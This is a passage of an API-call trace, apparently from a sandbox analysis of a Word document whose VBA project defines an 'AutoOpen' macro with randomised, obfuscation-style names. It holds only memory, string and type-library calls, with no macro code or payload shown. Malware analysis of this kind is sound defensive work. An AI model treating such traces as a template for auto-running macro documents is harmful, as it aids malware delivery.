wHour=0x12, wMinute=0x12, wSecond=0x2, wMilliseconds=0x2c6)) [0018.415] _ultow_s (in: _Value=0x5bf1acda, _Buffer=0x7ac8fc4, _BufferCount=0x9, _Radix=16 | out: _Buffer="5bf1acda") returned 0x0 [0018.415] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="075bf1acda", cchWideChar=11, lpMultiByteStr=0x307370, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="075bf1acda", lpUsedDefaultChar=0x0) returned 11 [0018.415] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x80) returned 0x795a670 [0018.415] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xb8) returned 0x7a105a0 [0018.415] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xb8) returned 0x7a10960 [0018.415] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x230) returned 0x7a21530 [0018.415] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x230) returned 0x7a21780 [0018.415] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x230) returned 0x7a219d0 [0018.415] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x810) returned 0xbb68a00 [0018.415] IMalloc:Free (This=0x7fefe9e5380, pv=0xbb68a00) [0018.415] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x60) returned 0xbafd4d0 [0018.416] IUnknown:AddRef (This=0x7919520) returned 0x4 [0018.416] strcpy_s (in: _Dst=0x7a1f620, _DstSize=0x43, _Src="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" | out: _Dst="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL") returned 0x0 [0018.416] strcpy_s (in: _Dst=0x7a1f670, _DstSize=0x4, _Src="VBA" | out: _Dst="VBA") returned 0x0 [0018.416] IUnknown:AddRef (This=0x7346470) returned 0x9 [0018.416] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x230) returned 0x7a21c20 [0018.416] strcpy_s (in: _Dst=0x7a21c48, _DstSize=0x3b, _Src="C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB" | out: _Dst="C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB") returned 0x0 [0018.416] strcpy_s (in: _Dst=0x7a21c90, _DstSize=0x5, _Src="Word" | out: _Dst="Word") returned 0x0 [0018.416] IUnknown:AddRef (This=0x7345930) returned 0x6 [0018.417] strcpy_s (in: _Dst=0x7a21d00, _DstSize=0x20, _Src="C:\\Windows\\system32\\stdole2.tlb" | out: _Dst="C:\\Windows\\system32\\stdole2.tlb") returned 0x0 [0018.417] strcpy_s (in: _Dst=0x7a21d28, _DstSize=0x7, _Src="stdole" | out: _Dst="stdole") returned 0x0 [0018.418] IUnknown:AddRef (This=0x7919ac0) returned 0x3 [0018.418] strcpy_s (in: _Dst=0x7a21d98, _DstSize=0x40, _Src="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL" | out: _Dst="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL") returned 0x0 [0018.418] strcpy_s (in: _Dst=0x7a21de0, _DstSize=0x7, _Src="Office" | out: _Dst="Office") returned 0x0 [0018.418] IMalloc:Free (This=0x7fefe9e5380, pv=0x781c0e0) [0018.418] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x20) returned 0x781c0e0 [0018.418] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x20) returned 0x781bdb0 [0018.418] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x20) returned 0x781bd80 [0018.419] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x20) returned 0x781bf90 [0018.419] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x48) returned 0x79ae9d0 [0018.419] strcpy_s (in: _Dst=0x7a1f6e0, _DstSize=0xa, _Src="QiiPPcnDM" | out: _Dst="QiiPPcnDM") returned 0x0 [0018.419] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x26d) returned 0x794fbb0 [0018.419] IMalloc:Free (This=0x7fefe9e5380, pv=0x794fbb0) [0018.419] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x48) returned 0x79aea20 [0018.419] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x230) returned 0x7a21e70 [0018.419] strcpy_s (in: _Dst=0x7a21e98, _DstSize=0x9, _Src="AutoOpen" | out: _Dst="AutoOpen") returned 0x0 [0018.419] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x26d) returned 0x794fbb0 [0018.419] IMalloc:Free (This=0x7fefe9e5380, pv=0x794fbb0) [0018.419] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x14) returned 0x796ee00 [0018.419] IMalloc:Free (This=0x7fefe9e5380, pv=0x796ee00) [0018.419] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x80) returned 0x795a700 [0018.419] IMalloc:GetSize (This=0x7fefe9e5380, pv=0x795a700) returned 0x80 [0018.419] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x18) returned 0x796ee00 [0018.419] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="QiiPPcnDM") returned 0x10906e [0018.419] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x18) returned 0x796ee80 [0018.419] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="AutoOpen") returned 0x102ad9 [0018.419] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="AutoOpen", cchCount1=-1, lpString2="AutoOpen", cchCount2=-1) returned 2 [0018.420] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x58) returned 0x790bf80 [0018.420] IMalloc:GetSize (This=0x7fefe9e5380, pv=0x790bf80) returned 0x58 [0018.420] IMalloc:Free (This=0x7fefe9e5380, pv=0x781c320) [0018.420] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x18) returned 0x796dce0 [0018.420] IMalloc:Free (This=0x7fefe9e5380, pv=0x796dce0) [0018.420] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x10) returned 0x796dce0 [0018.420] IMalloc:Free (This=0x7fefe9e5380, pv=0x796dce0) [0018.420] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x58) returned 0x790bfe0 [0018.420] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x10) returned 0x796dce0 [0018.420] IMalloc:Free (This=0x7fefe9e5380, pv=0x796dce0) [0018.420] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x58) returned 0x790c040 [0018.420] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x18) returned 0x796dce0 [0018.420] IMalloc:Free (This=0x7fefe9e5380, pv=0x790bf80) [0018.420] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x40) returned 0x79aea70 [0018.424] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x0) returned 0x79f7690 [0018.424] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Document", cchWideChar=9, lpMultiByteStr=0x306250, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Document", lpUsedDefaultChar=0x0) returned 9 [0018.424] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Document") returned 0x10d36a [0018.430] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Document", cchWideChar=9, lpMultiByteStr=0x306250, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Document", lpUsedDefaultChar=0x0) returned 9 [0018.430] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Document") returned 0x10d36a [0018.430] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="065bf1acda", cchWideChar=11, lpMultiByteStr=0x306560, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="065bf1acda", lpUsedDefaultChar=0x0) returned 11 [0018.430] GetLocalTime (in: lpSystemTime=0x306648 | out: lpSystemTime=0x306648*(wYear=0x7e1, wMonth=0xb, wDayOfWeek=0x2, wDay=0x1c, wHour=0x12, wMinute=0x12, wSecond=0x2, wMilliseconds=0x2d5)) [0018.430] _ultow_s (in: _Value=0x5bf1acda, _Buffer=0xbb7f944, _BufferCount=0x9, _Radix=16 | out: _Buffer="5bf1acda") returned 0x0 [0018.430] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="085bf1acda", cchWideChar=11, lpMultiByteStr=0x3065a0, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="085bf1acda", lpUsedDefaultChar=0x0) returned 11 [0018.430] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisDocument", cchWideChar=13, lpMultiByteStr=0x3063e0, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisDocument", lpUsedDefaultChar=0x0) returned 13 [0018.430] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ThisDocument") returned 0x109e3c [0018.430] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Document", cchWideChar=9, lpMultiByteStr=0x306000, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Document", lpUsedDefaultChar=0x0) returned 9 [0018.430] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Document") returned 0x10d36a [0018.436] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Document", cchWideChar=9, lpMultiByteStr=0x306000, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Document", lpUsedDefaultChar=0x0) returned 9 [0018.436] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Document") returned 0x10d36a [0018.436] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x14) returned 0x796fb00 [0018.436] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xc0) returned 0x7a8c830 [0018.436] IMalloc:GetSize (This=0x7fefe9e5380, pv=0x7a8c830) returned 0xc0 [0018.437] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x810) returned 0x5344750 [0018.437] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x7260000 [0018.440] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb63f24, cbMultiByte=10, lpWideCharStr=0x72600dc, cchWideChar=22 | out: lpWideCharStr="nzUHzsicZE") returned 10 [0018.440] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x90) returned 0xbaf1550 [0018.440] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xb8) returned 0x7a10660 [0018.440] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x3d0) returned 0xbb5ae00 [0018.440] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x20) returned 0x781c050 [0018.440] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x10) returned 0x7970080 [0018.440] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x80) returned 0x795a4c0 [0018.440] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x0) returned 0x79f7690 [0018.440] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x0) returned 0x79f7590 [0018.440] IUnknown:AddRef (This=0x7919520) returned 0x5 [0018.440] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x38) returned 0x75e0210 [0018.440] IUnknown:AddRef (This=0x7346470) returned 0xb [0018.440] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x38) returned 0x75ec350 [0018.440] IUnknown:AddRef (This=0x7345930) returned 0x7 [0018.440] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x38) returned 0x75e03d0 [0018.440] wcsncpy_s (in: _Destination=0x305010, _SizeInWords=0x108, _Source="*\\CNormal", _MaxCount=0x106 | out: _Destination="*\\CNormal") returned 0x0 [0018.440] CharLowerBuffW (in: lpsz="*\\CNormal", cchLength=0x9 | out: lpsz="*\\cnormal") returned 0x9 [0018.441] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cnormal", cchWideChar=10, lpMultiByteStr=0x304f40, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cnormal", lpUsedDefaultChar=0x0) returned 10 [0018.441] _wcsicmp (_String1="*\\CNormal", _String2="*\\CNormal") returned 0 [0018.441] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x40) returned 0x79ac2c0 [0018.441] IUnknown:AddRef (This=0x7919ac0) returned 0x4 [0018.441] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x38) returned 0x75edbd0 [0018.441] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x640) returned 0xbb68f20 [0018.441] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x20) returned 0x781bde0 [0018.441] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x0) returned 0x79f8080 [0018.441] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x0) returned 0x79f8050 [0018.441] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x20) returned 0x781be40 [0018.441] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x80) returned 0x795a790 [0018.442] strcpy_s (in: _Dst=0x7a21ef8, _DstSize=0x9, _Src="VBE7.DLL" | out: _Dst="VBE7.DLL") returned 0x0 [0018.442] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x26d) returned 0x794fbb0 [0018.442] IMalloc:Free (This=0x7fefe9e5380, pv=0x794fbb0) [0018.442] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x318) returned 0x79256c0 [0018.442] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb63f38, cbMultiByte=10, lpWideCharStr=0x7260286, cchWideChar=22 | out: lpWideCharStr="pmdqBrChUD") returned 10 [0018.442] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb63f4c, cbMultiByte=10, lpWideCharStr=0x7260430, cchWideChar=22 | out: lpWideCharStr="hlMiQqCLJi") returned 10 [0018.442] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb63f60, cbMultiByte=10, lpWideCharStr=0x72605da, cchWideChar=22 | out: lpWideCharStr="iWPcQzZOTU") returned 10 [0018.443] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb63f74, cbMultiByte=10, lpWideCharStr=0x7260784, cchWideChar=22 | out: lpWideCharStr="AZbLhmiNmn") returned 10 [0018.443] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb63f88, cbMultiByte=10, lpWideCharStr=0x726092e, cchWideChar=22 | out: lpWideCharStr="OrKoOBnmqH") returned 10 [0018.443] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb63f9c, cbMultiByte=10, lpWideCharStr=0x7260ad8, cchWideChar=22 | out: lpWideCharStr="qWSrWTWBaC") returned 10 [0018.443] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x230) returned 0x7a220c0 [0018.443] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb63fb0, cbMultiByte=10, lpWideCharStr=0x7260c82, cchWideChar=22 | out: lpWideCharStr="SoNzCHJBBi") returned 10 [0018.446] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x26d) returned 0x794fbb0 [0018.446] IMalloc:Free (This=0x7fefe9e5380, pv=0x794fbb0) [0018.447] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="IEoiQYirw") returned 0x10db8e [0018.447] strcpy_s (in: _Dst=0x305320, _DstSize=0xa, _Src="IEoiQYirw" | out: _Dst="IEoiQYirw") returned 0x0 [0018.447] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305320, cbMultiByte=10, lpWideCharStr=0x305170, cchWideChar=10 | out: lpWideCharStr="IEoiQYirw") returned 10 [0018.447] IUnknown:AddRef (This=0x7919520) returned 0xa [0018.447] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="IEoiQYirw", lHashVal=0x10db8e, pfName=0x305240, pBstrLibName=0x305170 | out: pfName=0x305240*=0, pBstrLibName=0x305170) returned 0x0 [0018.447] IUnknown:Release (This=0x7919520) returned 0x9 [0018.447] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.447] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="IEoiQYirw", lHashVal=0x10db8e, pfName=0x305240, pBstrLibName=0x305170 | out: pfName=0x305240*=0, pBstrLibName=0x305170) returned 0x0 [0018.447] IUnknown:Release (This=0x7346470) returned 0xb [0018.447] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.447] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="IEoiQYirw", lHashVal=0x10db8e, pfName=0x305240, pBstrLibName=0x305170 | out: pfName=0x305240*=0, pBstrLibName=0x305170) returned 0x0 [0018.447] IUnknown:Release (This=0x7345930) returned 0x7 [0018.447] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.447] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="IEoiQYirw", lHashVal=0x10db8e, pfName=0x305240, pBstrLibName=0x305170 | out: pfName=0x305240*=0, pBstrLibName=0x305170) returned 0x0 [0018.447] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.447] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x11) returned 0x7970c60 [0018.447] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_IEoiQYirw") returned 0x10e4d3 [0018.447] strcpy_s (in: _Dst=0x3054d0, _DstSize=0x11, _Src="_B_var_IEoiQYirw" | out: _Dst="_B_var_IEoiQYirw") returned 0x0 [0018.447] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3054d0, cbMultiByte=17, lpWideCharStr=0x305320, cchWideChar=17 | out: lpWideCharStr="_B_var_IEoiQYirw") returned 17 [0018.447] IUnknown:AddRef (This=0x7919520) returned 0xa [0018.447] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_IEoiQYirw", lHashVal=0x10e4d3, pfName=0x3053f0, pBstrLibName=0x305320 | out: pfName=0x3053f0*=0, pBstrLibName=0x305320) returned 0x0 [0018.447] IUnknown:Release (This=0x7919520) returned 0x9 [0018.447] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.447] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_IEoiQYirw", lHashVal=0x10e4d3, pfName=0x3053f0, pBstrLibName=0x305320 | out: pfName=0x3053f0*=0, pBstrLibName=0x305320) returned 0x0 [0018.447] IUnknown:Release (This=0x7346470) returned 0xb [0018.447] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.447] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_IEoiQYirw", lHashVal=0x10e4d3, pfName=0x3053f0, pBstrLibName=0x305320 | out: pfName=0x3053f0*=0, pBstrLibName=0x305320) returned 0x0 [0018.447] IUnknown:Release (This=0x7345930) returned 0x7 [0018.447] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.447] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_IEoiQYirw", lHashVal=0x10e4d3, pfName=0x3053f0, pBstrLibName=0x305320 | out: pfName=0x3053f0*=0, pBstrLibName=0x305320) returned 0x0 [0018.447] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.447] IUnknown:AddRef (This=0x7919520) returned 0xa [0018.447] IUnknown:Release (This=0x7919520) returned 0x9 [0018.447] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970c60) [0018.448] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb63fd4, cbMultiByte=10, lpWideCharStr=0x7262f74, cchWideChar=22 | out: lpWideCharStr="PMmXMiiGko") returned 10 [0018.448] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb63fe8, cbMultiByte=10, lpWideCharStr=0x726311e, cchWideChar=22 | out: lpWideCharStr="OPcnkVZdKl") returned 10 [0018.448] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb63ffc, cbMultiByte=10, lpWideCharStr=0x72632c8, cchWideChar=22 | out: lpWideCharStr="GrmlMvBzwX") returned 10 [0018.448] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb64010, cbMultiByte=10, lpWideCharStr=0x7263472, cchWideChar=22 | out: lpWideCharStr="fHwnKqfRBV") returned 10 [0018.448] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb64024, cbMultiByte=10, lpWideCharStr=0x726361c, cchWideChar=22 | out: lpWideCharStr="YAZMnOjAoB") returned 10 [0018.449] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb64038, cbMultiByte=10, lpWideCharStr=0x72637c6, cchWideChar=22 | out: lpWideCharStr="tNBpHXaBKR") returned 10 [0018.449] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x230) returned 0x7a22310 [0018.449] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6404c, cbMultiByte=10, lpWideCharStr=0x7263970, cchWideChar=22 | out: lpWideCharStr="cjKMJGTpdu") returned 10 [0018.449] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb64060, cbMultiByte=10, lpWideCharStr=0x7263b1a, cchWideChar=22 | out: lpWideCharStr="pIcoMGRZww") returned 10 [0018.449] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x9be0000 [0018.451] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="MoYWTqLaN") returned 0x108dd0 [0018.451] strcpy_s (in: _Dst=0x305320, _DstSize=0xa, _Src="MoYWTqLaN" | out: _Dst="MoYWTqLaN") returned 0x0 [0018.451] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305320, cbMultiByte=10, lpWideCharStr=0x305170, cchWideChar=10 | out: lpWideCharStr="MoYWTqLaN") returned 10 [0018.451] IUnknown:AddRef (This=0x7919520) returned 0xa [0018.451] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="MoYWTqLaN", lHashVal=0x108dd0, pfName=0x305240, pBstrLibName=0x305170 | out: pfName=0x305240*=0, pBstrLibName=0x305170) returned 0x0 [0018.451] IUnknown:Release (This=0x7919520) returned 0x9 [0018.451] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.451] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="MoYWTqLaN", lHashVal=0x108dd0, pfName=0x305240, pBstrLibName=0x305170 | out: pfName=0x305240*=0, pBstrLibName=0x305170) returned 0x0 [0018.451] IUnknown:Release (This=0x7346470) returned 0xb [0018.451] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.451] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="MoYWTqLaN", lHashVal=0x108dd0, pfName=0x305240, pBstrLibName=0x305170 | out: pfName=0x305240*=0, pBstrLibName=0x305170) returned 0x0 [0018.451] IUnknown:Release (This=0x7345930) returned 0x7 [0018.451] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.451] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="MoYWTqLaN", lHashVal=0x108dd0, pfName=0x305240, pBstrLibName=0x305170 | out: pfName=0x305240*=0, pBstrLibName=0x305170) returned 0x0 [0018.451] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.451] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x11) returned 0x7970c60 [0018.451] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_MoYWTqLaN") returned 0x109715 [0018.451] strcpy_s (in: _Dst=0x3054d0, _DstSize=0x11, _Src="_B_var_MoYWTqLaN" | out: _Dst="_B_var_MoYWTqLaN") returned 0x0 [0018.451] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3054d0, cbMultiByte=17, lpWideCharStr=0x305320, cchWideChar=17 | out: lpWideCharStr="_B_var_MoYWTqLaN") returned 17 [0018.451] IUnknown:AddRef (This=0x7919520) returned 0xa [0018.451] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_MoYWTqLaN", lHashVal=0x109715, pfName=0x3053f0, pBstrLibName=0x305320 | out: pfName=0x3053f0*=0, pBstrLibName=0x305320) returned 0x0 [0018.451] IUnknown:Release (This=0x7919520) returned 0x9 [0018.451] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.451] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_MoYWTqLaN", lHashVal=0x109715, pfName=0x3053f0, pBstrLibName=0x305320 | out: pfName=0x3053f0*=0, pBstrLibName=0x305320) returned 0x0 [0018.451] IUnknown:Release (This=0x7346470) returned 0xb [0018.451] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.451] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_MoYWTqLaN", lHashVal=0x109715, pfName=0x3053f0, pBstrLibName=0x305320 | out: pfName=0x3053f0*=0, pBstrLibName=0x305320) returned 0x0 [0018.451] IUnknown:Release (This=0x7345930) returned 0x7 [0018.451] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.451] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_MoYWTqLaN", lHashVal=0x109715, pfName=0x3053f0, pBstrLibName=0x305320 | out: pfName=0x3053f0*=0, pBstrLibName=0x305320) returned 0x0 [0018.451] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.451] IUnknown:AddRef (This=0x7919520) returned 0xa [0018.451] IUnknown:Release (This=0x7919520) returned 0x9 [0018.451] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970c60) [0018.461] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x26d) returned 0x794fbb0 [0018.461] IMalloc:Free (This=0x7fefe9e5380, pv=0x794fbb0) [0018.461] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6409c, cbMultiByte=10, lpWideCharStr=0x9be2724, cchWideChar=22 | out: lpWideCharStr="mQiGjtsqNC") returned 10 [0018.461] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb640b0, cbMultiByte=10, lpWideCharStr=0x9be28ce, cchWideChar=22 | out: lpWideCharStr="jvuXuMllMc") returned 10 [0018.461] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb640c4, cbMultiByte=10, lpWideCharStr=0x9be2a78, cchWideChar=22 | out: lpWideCharStr="BFACMGaXQi") returned 10 [0018.462] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb640d8, cbMultiByte=10, lpWideCharStr=0x9be2c22, cchWideChar=22 | out: lpWideCharStr="rBMIqiKCsv") returned 10 [0018.462] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb640ec, cbMultiByte=10, lpWideCharStr=0x9be2dcc, cchWideChar=22 | out: lpWideCharStr="UPEXSCQdOi") returned 10 [0018.462] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x230) returned 0x7a22560 [0018.462] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb64100, cbMultiByte=10, lpWideCharStr=0x9be2f76, cchWideChar=22 | out: lpWideCharStr="sjtifjPctd") returned 10 [0018.462] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb64114, cbMultiByte=10, lpWideCharStr=0x9be3120, cchWideChar=22 | out: lpWideCharStr="SUaiLfjmhQ") returned 10 [0018.462] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb64128, cbMultiByte=10, lpWideCharStr=0x9be32ca, cchWideChar=22 | out: lpWideCharStr="BisRHlBdkJ") returned 10 [0018.463] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x9e30000 [0018.464] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LBIudRFHj") returned 0x103e35 [0018.464] strcpy_s (in: _Dst=0x305320, _DstSize=0xa, _Src="LBIudRFHj" | out: _Dst="LBIudRFHj") returned 0x0 [0018.464] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305320, cbMultiByte=10, lpWideCharStr=0x305170, cchWideChar=10 | out: lpWideCharStr="LBIudRFHj") returned 10 [0018.464] IUnknown:AddRef (This=0x7919520) returned 0xd [0018.464] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="LBIudRFHj", lHashVal=0x103e35, pfName=0x305240, pBstrLibName=0x305170 | out: pfName=0x305240*=0, pBstrLibName=0x305170) returned 0x0 [0018.464] IUnknown:Release (This=0x7919520) returned 0xc [0018.464] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.464] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="LBIudRFHj", lHashVal=0x103e35, pfName=0x305240, pBstrLibName=0x305170 | out: pfName=0x305240*=0, pBstrLibName=0x305170) returned 0x0 [0018.464] 